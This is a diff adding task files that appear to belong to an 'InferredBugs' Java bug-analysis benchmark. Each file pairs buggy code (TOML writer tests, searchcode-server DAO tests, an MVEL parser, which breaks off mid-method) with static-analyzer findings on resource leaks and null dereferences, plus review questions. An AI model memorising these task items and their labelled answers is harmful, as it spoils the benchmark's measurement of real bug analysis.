+  public void should_follow_indentation_policy_of_indented_values() {
+    String output = new TomlWriter().
+        setIndentationPolicy(new WriterIndentationPolicy().setKeyValueIndent(2)).
+        write(buildNestedMap());
+    String expected = "aBoolean = true\n\n" +
+        "[aMap]\n" +
+        "  foo = 1\n" +
+        "  bar = \"value1\"\n" +
+        "  \"baz.x\" = true\n\n" +
+        "[child]\n" +
+        "  anInt = 2\n\n" +
+        "[child.subChild]\n" +
+        "  anInt = 4\n";
+    assertEquals(expected, output);
+  }
+
+  @Test
+  public void should_follow_indentation_policy_of_indented_tables() {
+    String output = new TomlWriter().
+        setIndentationPolicy(new WriterIndentationPolicy().setTableIndent(2)).
+        write(buildNestedMap());
+    String expected = "aBoolean = true\n\n" +
+        "[aMap]\n" +
+        "foo = 1\n" +
+        "bar = \"value1\"\n" +
+        "\"baz.x\" = true\n\n" +
+        "[child]\n" +
+        "anInt = 2\n\n" +
+        "  [child.subChild]\n" +
+        "  anInt = 4\n";
+    assertEquals(expected, output);
+  }
+
+  @Test
+  public void should_follow_indentation_policy_of_indented_tables_and_values() {
+    String output = new TomlWriter().
+        setIndentationPolicy(new WriterIndentationPolicy().setTableIndent(2).setKeyValueIndent(2)).
+        write(buildNestedMap());
+    String expected = "aBoolean = true\n\n" +
+        "[aMap]\n" +
+        "  foo = 1\n" +
+        "  bar = \"value1\"\n" +
+        "  \"baz.x\" = true\n\n" +
+        "[child]\n" +
+        "  anInt = 2\n\n" +
+        "  [child.subChild]\n" +
+        "    anInt = 4\n";
+    assertEquals(expected, output);
+  }
+
+  @Test
+  public void should_write_array_of_tables() {
+    class Table {
+      int anInt;
+
+      Table(int anInt) {
+        this.anInt = anInt;
+      }
+    }
+    class Config {
+      Table[] table;
+    }
+    Config config = new Config();
+    config.table = new Table[]{new Table(1), new Table(2)};
+
+    String output = new TomlWriter().write(config);
+    String expected = "[[table]]\n" +
+        "anInt = 1\n\n" +
+        "[[table]]\n" +
+        "anInt = 2\n";
+    assertEquals(expected, output);
+  }
+
+  @Test
+  public void should_write_array_of_array() {
+    class ArrayTest {
+      int[][] array = {{1, 2, 3}, {4, 5, 6}};
+    }
+    ArrayTest arrayTest = new ArrayTest();
+
+    String output = new TomlWriter().write(arrayTest);
+    String expected = "array = [ [ 1, 2, 3 ], [ 4, 5, 6 ] ]\n";
+    assertEquals(expected, output);
+  }
+
+  @Test
+  public void should_write_list() {
+    class ListTest {
+      List<Integer> aList = new LinkedList<Integer>();
+    }
+    ListTest o = new ListTest();
+    o.aList.add(1);
+    o.aList.add(2);
+
+    assertEquals("aList = [ 1, 2 ]\n", new TomlWriter().write(o));
+  }
+
+  @Test
+  public void should_handle_zero_length_arrays_and_lists() {
+    class TestClass {
+      List<Integer> aList = new LinkedList<Integer>();
+      Float[] anArray = new Float[0];
+    }
+    assertEquals("", new TomlWriter().write(new TestClass()));
+  }
+
+  @Test(expected = IllegalStateException.class)
+  public void should_reject_heterogeneous_arrays() {
+    class BadArray {
+      Object[] array = new Object[2];
+    }
+    BadArray badArray = new BadArray();
+    badArray.array[0] = new Integer(1);
+    badArray.array[1] = "oops";
+
+    new TomlWriter().write(badArray);
+  }
+
+  @Test
+  public void should_elide_empty_intermediate_tables() {
+    class C {
+      int anInt = 1;
+    }
+    class B {
+      C c = new C();
+    }
+    class A {
+      B b = new B();
+    }
+
+    assertEquals("[b.c]\nanInt = 1\n", new TomlWriter().write(new A()));
+  }
+
+  class Base {
+    protected int anInt = 2;
+  }
+  class Impl extends Base {
+    boolean aBoolean = true;
+  }
+
+  @Test
+  public void should_write_classes_with_inheritance() {
+    Impl impl = new Impl();
+    String expected = "aBoolean = true\nanInt = 2\n";
+    assertEquals(expected, new TomlWriter().write(impl));
+  }
+
+  @Test
+  public void should_write_strings_to_toml_utf8() throws UnsupportedEncodingException {
+    String input = " é foo € \b \t \n \f \r \" \\ ";
+    assertEquals("\" \\u00E9 foo \\u20AC \\b \\t \\n \\f \\r \\\" \\\\ \"", new TomlWriter().write(input));
+
+    // Check unicode code points greater than 0XFFFF
+    input = " \uD801\uDC28 \uD840\uDC0B ";
+    assertEquals("\" \\U00010428 \\U0002000B \"", new TomlWriter().write(input));
+  }
+
+  @Test
+  public void should_quote_keys() {
+    Map<String, Integer> aMap = new LinkedHashMap<String, Integer>();
+    aMap.put("a.b", 1);
+    aMap.put("5€", 2);
+    aMap.put("c$d", 3);
+    aMap.put("e/f", 4);
+
+    String expected = "\"a.b\" = 1\n" +
+        "\"5€\" = 2\n" +
+        "\"c$d\" = 3\n" +
+        "\"e/f\" = 4\n";
+    assertEquals(expected, new TomlWriter().write(aMap));
+  }
+
+  private static class SimpleTestClass {
+    int a = 1;
+  }
+
+  @Test
+  public void should_write_to_writer() throws IOException {
+    StringWriter output = new StringWriter();
+    new TomlWriter().write(new SimpleTestClass(), output);
+
+    assertEquals("a = 1\n", output.toString());
+  }
+
+  @Test
+  public void should_write_to_outputstream() throws IOException {
+    ByteArrayOutputStream output = new ByteArrayOutputStream();
+    new TomlWriter().write(new SimpleTestClass(), output);
+
+    assertEquals("a = 1\n", output.toString());
+  }
+
+  @Test
+  public void should_write_to_file() throws IOException {
+    File output = testDirectory.newFile();
+    new TomlWriter().write(new SimpleTestClass(), output);
+
+    assertEquals("a = 1\n", readFile(output));
+  }
+
+  private String readFile(File input) throws IOException {
+    BufferedReader bufferedReader = new BufferedReader(new FileReader(input));
+
+    StringBuilder w = new StringBuilder();
+    String line = bufferedReader.readLine();
+    while (line != null) {
+      w.append(line).append('\n');
+      line = bufferedReader.readLine();
+    }
+
+    return w.toString();
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileReader` acquired by call to `new()` at line 308 is not released after line 317.
+**Note**: potential exception at line 314
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+String TomlWriterTest.readFile(File)
+
+### Procedure Id:
+com.moandjiezana.toml.TomlWriterTest.readFile(java.io.File):java.lang.String.98cd1d0e7c203d0ee31abaf66c389f94
+
+### File:
+src/test/java/com/moandjiezana/toml/TomlWriterTest.java
+
+### Key:
+TomlWriterTest.java|readFile|RESOURCE_LEAK
+
+### Node Key:
+48815eab4c26cee962db00712b67bbd0
+
+### Hash:
+5f0e265321bbcae4e90d4b9b16445e06
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4705/instruction.md b/inferredbugs-4705/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c76afbd2503b81b0786345d40fa343998cc7ae88
--- /dev/null
+++ b/inferredbugs-4705/instruction.md
@@ -0,0 +1,214 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** searchcode-server
+**Bug ID:** 27
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.searchcode.app.dao;
+
+import com.searchcode.app.config.SQLiteMemoryDatabaseConfig;
+import com.searchcode.app.model.RepoResult;
+import com.searchcode.app.util.AESEncryptor;
+import com.searchcode.app.util.Helpers;
+import junit.framework.TestCase;
+
+import static org.assertj.core.api.AssertionsForInterfaceTypes.assertThat;
+
+public class RepoTest extends TestCase {
+
+    private Repo repo;
+
+    public void setUp() throws Exception {
+        super.setUp();
+        this.repo = new Repo(new SQLiteMemoryDatabaseConfig(), new Helpers());
+        this.repo.createTableIfMissing();
+        this.repo.addBranchToTable();
+        this.repo.addSourceToTable();
+        this.repo.addDataToTable();
+    }
+
+    public void testMigrationCode() {
+        for (int i = 0; i < 100; i++) {
+            this.repo.addBranchToTable();
+            this.repo.addSourceToTable();
+            this.repo.addDataToTable();
+        }
+    }
+
+    public void testRepoSaveDelete() {
+        this.repo.saveRepo(new RepoResult(-1, "myname", "git", "myurl", "username", "password", "mysource", "mybranch", "{}"));
+        RepoResult result = this.repo.getRepoByName("myname");
+
+        assertThat(result.getName()).isEqualTo("myname");
+        assertThat(result.getScm()).isEqualTo("git");
+        assertThat(result.getUrl()).isEqualTo("myurl");
+        assertThat(result.getUsername()).isEqualTo("username");
+        assertThat(result.getPassword()).isEqualTo("password");
+        assertThat(result.getSource()).isEqualTo("mysource");
+        assertThat(result.getBranch()).isEqualTo("mybranch");
+        assertThat(result.getData().averageIndexTimeSeconds).isEqualTo(0);
+
+        this.repo.deleteRepoByName("myname");
+
+        result = this.repo.getRepoByName("myname");
+        assertThat(result).isNull();
+    }
+
+    public void testRepoSaveGetCacheBug() {
+        this.repo.saveRepo(new RepoResult(-1, "myname", "git", "myurl", "username", "password", "mysource", "mybranch", "{}"));
+
+        for (int i = 0 ; i< 200; i++) {
+            assertThat(repo.getRepoByName("myname")).isNotNull();
+        }
+
+        this.repo.deleteRepoByName("myname");
+    }
+
+    public void testRepoByUrl() {
+        this.repo.saveRepo(new RepoResult(-1, "myname", "git", "myurl", "username", "password", "mysource", "mybranch", "{}"));
+        assertThat(this.repo.getRepoByUrl("myurl").isPresent()).isTrue();
+        this.repo.deleteRepoByName("myname");
+    }
+
+    public void testRepoByUrlMemoryLeak() {
+        for (int i = 0; i < 200; i++) {
+            this.repo.saveRepo(new RepoResult(-1, "myname", "git", "myurl", "username", "password", "mysource", "mybranch", "{}"));
+            assertThat(this.repo.getRepoByUrl("myurl")).isNotNull();
+            this.repo.deleteRepoByName("myname");
+        }
+    }
+
+    public void testDeleteRepoMultipleTimes() {
+        this.repo.saveRepo(new RepoResult(-1, "myname", "git", "myurl", "username", "password", "mysource", "mybranch", "{}"));
+
+        for (int i = 0 ; i < 200; i++) {
+            this.repo.deleteRepoByName("myname");
+        }
+    }
+
+    public void testSaveRepoMultipleTimes() {
+        for (int i = 0 ; i < 200; i++) {
+            this.repo.saveRepo(new RepoResult(-1, "myname", "git", "myurl", "username", "password", "mysource", "mybranch", "{}"));
+        }
+
+        this.repo.deleteRepoByName("myname");
+    }
+
+    public void testGetAllRepo() {
+        this.repo.saveRepo(new RepoResult(-1, "myname", "git", "myurl", "username", "password", "mysource", "mybranch", "{}"));
+        assertThat(this.repo.getAllRepo().size()).isGreaterThanOrEqualTo(1);
+        this.repo.deleteRepoByName("myname");
+    }
+
+    public void testGetPagedRepo() {
+        this.repo.saveRepo(new RepoResult(-1, "testGetPagedRepo1", "git", "myurl", "username", "password", "mysource", "mybranch", "{}"));
+        this.repo.saveRepo(new RepoResult(-1, "testGetPagedRepo2", "git", "myurl", "username", "password", "mysource", "mybranch", "{}"));
+        this.repo.saveRepo(new RepoResult(-1, "testGetPagedRepo3", "git", "myurl", "username", "password", "mysource", "mybranch", "{}"));
+        this.repo.saveRepo(new RepoResult(-1, "testGetPagedRepo4", "git", "myurl", "username", "password", "mysource", "mybranch", "{}"));
+        this.repo.saveRepo(new RepoResult(-1, "testGetPagedRepo5", "git", "myurl", "username", "password", "mysource", "mybranch", "{}"));
+
+        assertThat(this.repo.getPagedRepo(0, 2).size()).isEqualTo(2);
+        assertThat(this.repo.getPagedRepo(0, 4).size()).isEqualTo(4);
+        assertThat(this.repo.getPagedRepo(2, 2).size()).isEqualTo(2);
+
+        this.repo.deleteRepoByName("testGetPagedRepo1");
+        this.repo.deleteRepoByName("testGetPagedRepo2");
+        this.repo.deleteRepoByName("testGetPagedRepo3");
+        this.repo.deleteRepoByName("testGetPagedRepo4");
+        this.repo.deleteRepoByName("testGetPagedRepo5");
+    }
+
+    public void testSearchRepo() {
+        this.repo.saveRepo(new RepoResult(-1, "testGetPagedRepo1", "git", "myurl", "username", "password", "mysource", "mybranch", "{}"));
+        this.repo.saveRepo(new RepoResult(-1, "testGetPagedRepo2", "git", "myurl", "username", "password", "mysource", "mybranch", "{}"));
+        this.repo.saveRepo(new RepoResult(-1, "testGetPagedRepo3", "git", "myurl", "username", "password", "mysource", "mybranch", "{}"));
+        this.repo.saveRepo(new RepoResult(-1, "testGetPagedRepo4", "git", "myurl", "username", "password", "mysource", "mybranch", "{}"));
+        this.repo.saveRepo(new RepoResult(-1, "testGetPagedRepo5", "svn", "myurl", "username", "password", "mysource", "mybranch", "{}"));
+
+        assertThat(this.repo.searchRepo("PassworD").size()).isEqualTo(5);
+        assertThat(this.repo.searchRepo("TESTGetPagedRepo1").size()).isEqualTo(1);
+        assertThat(this.repo.searchRepo("svn testGetPagedRepo5").size()).isEqualTo(1);
+        assertThat(this.repo.searchRepo("svn   testGetPagedRepo5").size()).isEqualTo(1);
+
+        this.repo.deleteRepoByName("testGetPagedRepo1");
+        this.repo.deleteRepoByName("testGetPagedRepo2");
+        this.repo.deleteRepoByName("testGetPagedRepo3");
+        this.repo.deleteRepoByName("testGetPagedRepo4");
+        this.repo.deleteRepoByName("testGetPagedRepo5");
+    }
+
+
+    public void testGetRepoByNameUsingNull() {
+        RepoResult repoResult = this.repo.getRepoByName(null);
+        assertThat(repoResult).isNull();
+    }
+}
+
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `result` last assigned on line 34 could be null and is dereferenced at line 36.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void RepoTest.testRepoSaveDelete()
+
+### Procedure Id:
+com.searchcode.app.dao.RepoTest.testRepoSaveDelete():void.9ae6e490ba0a5d753ed1ba6691041a45
+
+### File:
+src/test/java/com/searchcode/app/dao/RepoTest.java
+
+### Key:
+RepoTest.java|testRepoSaveDelete|NULL_DEREFERENCE
+
+### Node Key:
+9140dff8bf7cd03886d368c0c0c52aa5
+
+### Hash:
+d9ee95e6605aefcd409aa01f22e0e0b8
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4733/instruction.md b/inferredbugs-4733/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a1ff6c47ea6a2550396da12c669509a6d25ac240
--- /dev/null
+++ b/inferredbugs-4733/instruction.md
@@ -0,0 +1,155 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** searchcode-server
+**Bug ID:** 25
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.searchcode.app.dao;
+
+import com.searchcode.app.config.SQLiteMemoryDatabaseConfig;
+import com.searchcode.app.model.ApiResult;
+import com.searchcode.app.service.Singleton;
+import com.searchcode.app.util.Helpers;
+import junit.framework.TestCase;
+import org.apache.commons.lang3.RandomStringUtils;
+
+import java.util.Random;
+
+import static org.assertj.core.api.AssertionsForInterfaceTypes.assertThat;
+
+public class ApiTest extends TestCase {
+
+    private Api api;
+
+    public void setUp() throws Exception {
+        super.setUp();
+        this.api = new Api(new SQLiteMemoryDatabaseConfig(), new Helpers());
+        this.api.createTableIfMissing();
+    }
+
+    public void testMultipleCreateTable() {
+        for (int i = 0; i < 200; i++) {
+            this.api.createTableIfMissing();
+        }
+    }
+
+    public void testSaveDelete() {
+        String randomApiString = this.getRandomString();
+
+        this.api.saveApi(new ApiResult(0, randomApiString, "privateKey", "", ""));
+        this.api.deleteApiByPublicKey(randomApiString);
+    }
+
+    public void testSaveRetrieve() {
+        String randomApiString = this.getRandomString();
+
+        this.api.saveApi(new ApiResult(0, randomApiString, "privateKey", "", ""));
+        ApiResult apiResult = this.api.getApiByPublicKey(randomApiString);
+
+        assertThat(apiResult.getPublicKey()).isEqualTo(randomApiString);
+        assertThat(apiResult.getPrivateKey()).isEqualTo("privateKey");
+
+        this.api.deleteApiByPublicKey(randomApiString);
+    }
+
+    public void testMultipleRetrieveCache() {
+        String randomApiString = this.getRandomString();
+
+        this.api.saveApi(new ApiResult(0, randomApiString, "privateKey", "", ""));
+
+        for(int i=0; i < 500; i++) {
+            ApiResult apiResult = this.api.getApiByPublicKey(randomApiString);
+
+            assertThat(apiResult.getPublicKey()).isEqualTo(randomApiString);
+            assertThat(apiResult.getPrivateKey()).isEqualTo("privateKey");
+        }
+
+        this.api.deleteApiByPublicKey(randomApiString);
+    }
+
+    public void testGetAllApi() {
+        String randomApi1 = this.getRandomString();
+        String randomApi2 = this.getRandomString();
+
+        this.api.saveApi(new ApiResult(0, randomApi1, "privateKey", "", ""));
+        this.api.saveApi(new ApiResult(0, randomApi2, "privateKey", "", ""));
+
+        assertThat(this.api.getAllApi().size()).isEqualTo(2);
+
+        this.api.deleteApiByPublicKey(randomApi1);
+        this.api.deleteApiByPublicKey(randomApi2);
+    }
+
+    private String getRandomString() {
+        Random random = new Random();
+        return RandomStringUtils.randomAscii(random.nextInt(20) + 20);
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `apiResult` last assigned on line 41 could be null and is dereferenced at line 43.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ApiTest.testSaveRetrieve()
+
+### Procedure Id:
+com.searchcode.app.dao.ApiTest.testSaveRetrieve():void.3ad04a5330b151d8c305971111e17bd6
+
+### File:
+src/test/java/com/searchcode/app/dao/ApiTest.java
+
+### Key:
+ApiTest.java|testSaveRetrieve|NULL_DEREFERENCE
+
+### Node Key:
+36314f811a915d92afdc5e29532be9f8
+
+### Hash:
+0808be138ee8423f666bd9bde9995272
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4750/instruction.md b/inferredbugs-4750/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b730eb43d07ca76216b0b9d43b8635bb0ada3872
--- /dev/null
+++ b/inferredbugs-4750/instruction.md
@@ -0,0 +1,2590 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** mvel
+**Bug ID:** 58
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * MVEL (The MVFLEX Expression Language)
+ *
+ * Copyright (C) 2007 Christopher Brock, MVFLEX/Valhalla Project and the Codehaus
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+package org.mvel2.compiler;
+
+import org.mvel2.*;
+import static org.mvel2.Operator.*;
+import org.mvel2.ast.*;
+import static org.mvel2.ast.TypeDescriptor.getClassReference;
+import org.mvel2.integration.VariableResolverFactory;
+import static org.mvel2.util.ArrayTools.findFirst;
+import org.mvel2.util.ExecutionStack;
+import static org.mvel2.util.ParseTools.*;
+import static org.mvel2.util.PropertyTools.isEmpty;
+import org.mvel2.util.StringAppender;
+
+import java.io.Serializable;
+import static java.lang.Boolean.FALSE;
+import static java.lang.Boolean.TRUE;
+import static java.lang.Double.parseDouble;
+import static java.lang.Runtime.getRuntime;
+import static java.lang.System.getProperty;
+import static java.lang.Thread.currentThread;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.WeakHashMap;
+
+/**
+ * @author Christopher Brock
+ */
+public class AbstractParser implements Serializable {
+    protected char[] expr;
+    protected int cursor;
+    protected int start;
+    protected int length;
+    protected int fields;
+
+    protected static final int OP_OVERFLOW = -2;
+    protected static final int OP_TERMINATE = -1;
+    protected static final int OP_RESET_FRAME = 0;
+    protected static final int OP_CONTINUE = 1;
+
+    protected boolean greedy = true;
+    protected boolean lastWasIdentifier = false;
+    protected boolean lastWasLineLabel = false;
+    protected boolean lastWasComment = false;
+    protected boolean literalOnly = true;
+
+    protected boolean debugSymbols = false;
+
+    protected int lastLineStart = -1;
+    protected int line = 1;
+
+    protected ASTNode lastNode;
+
+    private static Map<String, char[]> EX_PRECACHE;
+
+    public static final Map<String, Object> LITERALS =
+            new HashMap<String, Object>(35 * 2, 0.4f);
+
+    public static final Map<String, Integer> OPERATORS =
+            new HashMap<String, Integer>(25 * 2, 0.4f);
+
+    protected ExecutionStack stk;
+    protected ExecutionStack splitAccumulator = new ExecutionStack();
+
+    protected static ThreadLocal<ParserContext> parserContext;
+    protected ParserContext pCtx;
+    protected ExecutionStack dStack;
+    protected Object ctx;
+    protected VariableResolverFactory variableFactory;
+
+    static {
+        configureFactory();
+        /**
+         * Setup the basic literals
+         */
+        LITERALS.put("true", TRUE);
+        LITERALS.put("false", FALSE);
+
+        LITERALS.put("null", null);
+        LITERALS.put("nil", null);
+
+        LITERALS.put("empty", BlankLiteral.INSTANCE);
+
+        /**
+         * Add System and all the class wrappers from the JCL.
+         */
+        LITERALS.put("System", System.class);
+        LITERALS.put("String", String.class);
+        LITERALS.put("CharSequence", CharSequence.class);
+
+        LITERALS.put("Integer", Integer.class);
+        LITERALS.put("int", Integer.class);
+
+        LITERALS.put("Long", Long.class);
+        LITERALS.put("long", Long.class);
+
+        LITERALS.put("Boolean", Boolean.class);
+        LITERALS.put("boolean", Boolean.class);
+
+        LITERALS.put("Short", Short.class);
+        LITERALS.put("short", Short.class);
+
+        LITERALS.put("Character", Character.class);
+        LITERALS.put("char", Character.class);
+
+        LITERALS.put("Double", Double.class);
+        LITERALS.put("double", Double.class);
+
+        LITERALS.put("Float", Float.class);
+        LITERALS.put("float", Float.class);
+
+        LITERALS.put("Math", Math.class);
+        LITERALS.put("Void", Void.class);
+        LITERALS.put("Object", Object.class);
+
+        LITERALS.put("Class", Class.class);
+        LITERALS.put("ClassLoader", ClassLoader.class);
+        LITERALS.put("Runtime", Runtime.class);
+        LITERALS.put("Thread", Thread.class);
+        LITERALS.put("Compiler", Compiler.class);
+        LITERALS.put("StringBuffer", StringBuffer.class);
+        LITERALS.put("ThreadLocal", ThreadLocal.class);
+        LITERALS.put("SecurityManager", SecurityManager.class);
+        LITERALS.put("StrictMath", StrictMath.class);
+
+        LITERALS.put("Array", java.lang.reflect.Array.class);
+
+        if (parseDouble(getProperty("java.version").substring(0, 3)) >= 1.5) {
+            try {
+                LITERALS.put("StringBuilder", currentThread().getContextClassLoader().loadClass("java.lang.StringBuilder"));
+            }
+            catch (Exception e) {
+                throw new RuntimeException("cannot resolve a built-in literal", e);
+            }
+        }
+
+        setLanguageLevel(5);
+    }
+
+    public static void configureFactory() {
+        EX_PRECACHE = (new WeakHashMap<String, char[]>(15));
+    }
+
+    protected ASTNode nextTokenSkipSymbols() {
+        ASTNode n = nextToken();
+        if (n != null && n.getFields() == -1) n = nextToken();
+        return n;
+    }
+
+    /**
+     * Retrieve the next token in the expression.
+     *
+     * @return -
+     */
+    protected ASTNode nextToken() {
+        try {
+            /**
+             * If the cursor is at the end of the expression, we have nothing more to do:
+             * return null.
+             */
+            if (cursor >= length) {
+                return null;
+            }
+            else if (!splitAccumulator.isEmpty()) {
+                return lastNode = (ASTNode) splitAccumulator.pop();
+            }
+
+            int brace, idx;
+            start = cursor;
+
+            char[] tmp;
+            String name;
+
+            /**
+             * Because of parser recursion for sub-expression parsing, we sometimes need to remain
+             * certain field states.  We do not reset for assignments, boolean mode, list creation or
+             * a capture only mode.
+             */
+
+            boolean capture = false, union = false;
+
+            pCtx = getParserContext();
+
+            if (debugSymbols) {
+                if (!lastWasLineLabel) {
+                    if (pCtx.getSourceFile() == null) {
+                        throw new CompileException("unable to produce debugging symbols: source name must be provided.");
+                    }
+
+                    line = pCtx.getLineCount();
+
+                    skipWhitespaceWithLineAccounting();
+
+                    if (!pCtx.isKnownLine(pCtx.getSourceFile(), pCtx.setLineCount(line)) && !pCtx.isBlockSymbols()) {
+                        lastWasLineLabel = true;
+                        pCtx.setLineAndOffset(line, cursor);
+                        return lastNode = pCtx.setLastLineLabel(new LineLabel(pCtx.getSourceFile(), line));
+                    }
+                }
+                else {
+                    lastWasComment = lastWasLineLabel = false;
+                }
+            }
+
+            /**
+             * Skip any whitespace currently under the starting point.
+             */
+            while (start != length && isWhitespace(expr[start])) start++;
+
+            /**
+             * From here to the end of the method is the core MVEL parsing code.  Fiddling around here is asking for
+             * trouble unless you really know what you're doing.
+             */
+            for (cursor = start; cursor != length;) {
+                if (isIdentifierPart(expr[cursor])) {
+                    /**
+                     * If the current character under the cursor is a valid
+                     * part of an identifier, we keep capturing.
+                     */
+                    capture = true;
+                    cursor++;
+                }
+                else if (capture) {
+                    String t;
+                    if (OPERATORS.containsKey(t = new String(expr, start, cursor - start))) {
+                        switch (OPERATORS.get(t)) {
+                            case NEW:
+                                if (!isIdentifierPart(expr[start = cursor = trimRight(cursor)])) {
+                                    throw new CompileException("unexpected character (expected identifier): "
+                                            + expr[cursor], expr, cursor);
+                                }
+
+                                /**
+                                 * Capture the beginning part of the token.
+                                 */
+                                do {
+                                    captureToNextTokenJunction();
+                                    skipWhitespaceWithLineAccounting();
+                                }
+                                while (cursor < length && expr[cursor] == '[');
+
+                                /**
+                                 * If it's not a dimentioned array, continue capturing if necessary.
+                                 */
+                                if (cursor < length && !lastNonWhite(']')) captureToEOT();
+
+                                lastNode = new NewObjectNode(subArray(start, cursor), fields);
+
+                                skipWhitespaceWithLineAccounting();
+                                if (cursor != length && expr[cursor] == '{') {
+                                    start = cursor;
+                                    Class egressType = ((NewObjectNode) lastNode).getEgressType();
+
+                                    if (egressType == null) {
+                                        try {
+                                            egressType = TypeDescriptor.getClassReference(pCtx, ((NewObjectNode) lastNode).getTypeDescr());
+                                        }
+                                        catch (ClassNotFoundException e) {
+                                            throw new CompileException("could not instantiate class", e);
+                                        }
+                                    }
+
+                                    cursor = balancedCapture(expr, cursor, expr[cursor]) + 1;
+                                    if (tokenContinues()) {
+                                        lastNode = new InlineCollectionNode(expr, start, start = cursor, fields,
+                                                egressType);
+                                        captureToEOT();
+                                        return lastNode = new Union(expr, start + 1, cursor, fields, lastNode);
+                                    }
+                                    else {
+                                        return lastNode = new InlineCollectionNode(expr, start, cursor, fields,
+                                                egressType);
+                                    }
+                                }
+                                return lastNode;
+
+                            case ASSERT:
+                                start = cursor = trimRight(cursor);
+                                captureToEOS();
+                                return lastNode = new AssertNode(subArray(start, cursor--), fields);
+
+                            case RETURN:
+                                start = cursor = trimRight(cursor);
+                                captureToEOS();
+                                return lastNode = new ReturnNode(subArray(start, cursor), fields);
+
+                            case IF:
+                                return captureCodeBlock(ASTNode.BLOCK_IF);
+
+                            case ELSE:
+                                throw new CompileException("else without if", cursor);
+
+                            case FOREACH:
+                                return captureCodeBlock(ASTNode.BLOCK_FOREACH);
+
+                            case WHILE:
+                                return captureCodeBlock(ASTNode.BLOCK_WHILE);
+
+                            case UNTIL:
+                                return captureCodeBlock(ASTNode.BLOCK_UNTIL);
+
+                            case FOR:
+                                return captureCodeBlock(ASTNode.BLOCK_FOR);
+
+                            case WITH:
+                                return captureCodeBlock(ASTNode.BLOCK_WITH);
+
+                            case DO:
+                                return captureCodeBlock(ASTNode.BLOCK_DO);
+
+                            case ISDEF:
+                                start = cursor = trimRight(cursor);
+                                captureToEOS();
+                                return lastNode = new IsDef(subArray(start, cursor));
+
+                            case IMPORT:
+                                start = cursor = trimRight(cursor);
+                                captureToEOS();
+                                ImportNode importNode = new ImportNode(subArray(start, cursor));
+                                if (importNode.isPackageImport()) {
+                                    pCtx.addPackageImport(importNode.getPackageImport());
+                                }
+                                else {
+                                    pCtx.addImport(getSimpleClassName(importNode.getImportClass()), importNode.getImportClass());
+                                }
+                                return lastNode = importNode;
+
+                            case IMPORT_STATIC:
+                                start = cursor = trimRight(cursor);
+                                captureToEOS();
+                                return lastNode = new StaticImportNode(subArray(start, cursor));
+
+                            case FUNCTION:
+                                lastNode = (Function) captureCodeBlock(FUNCTION);
+                                capture = false;
+                                start = cursor + 1;
+                                return lastNode;
+
+                            case UNTYPED_VAR:
+                                start = cursor + 1;
+                                captureToEOT();
+                                int end = cursor;
+
+                                skipWhitespace();
+
+                                if (expr[cursor] == '=') {
+                                    if (end == (cursor = start))
+                                        throw new CompileException("illegal use of reserved word: var");
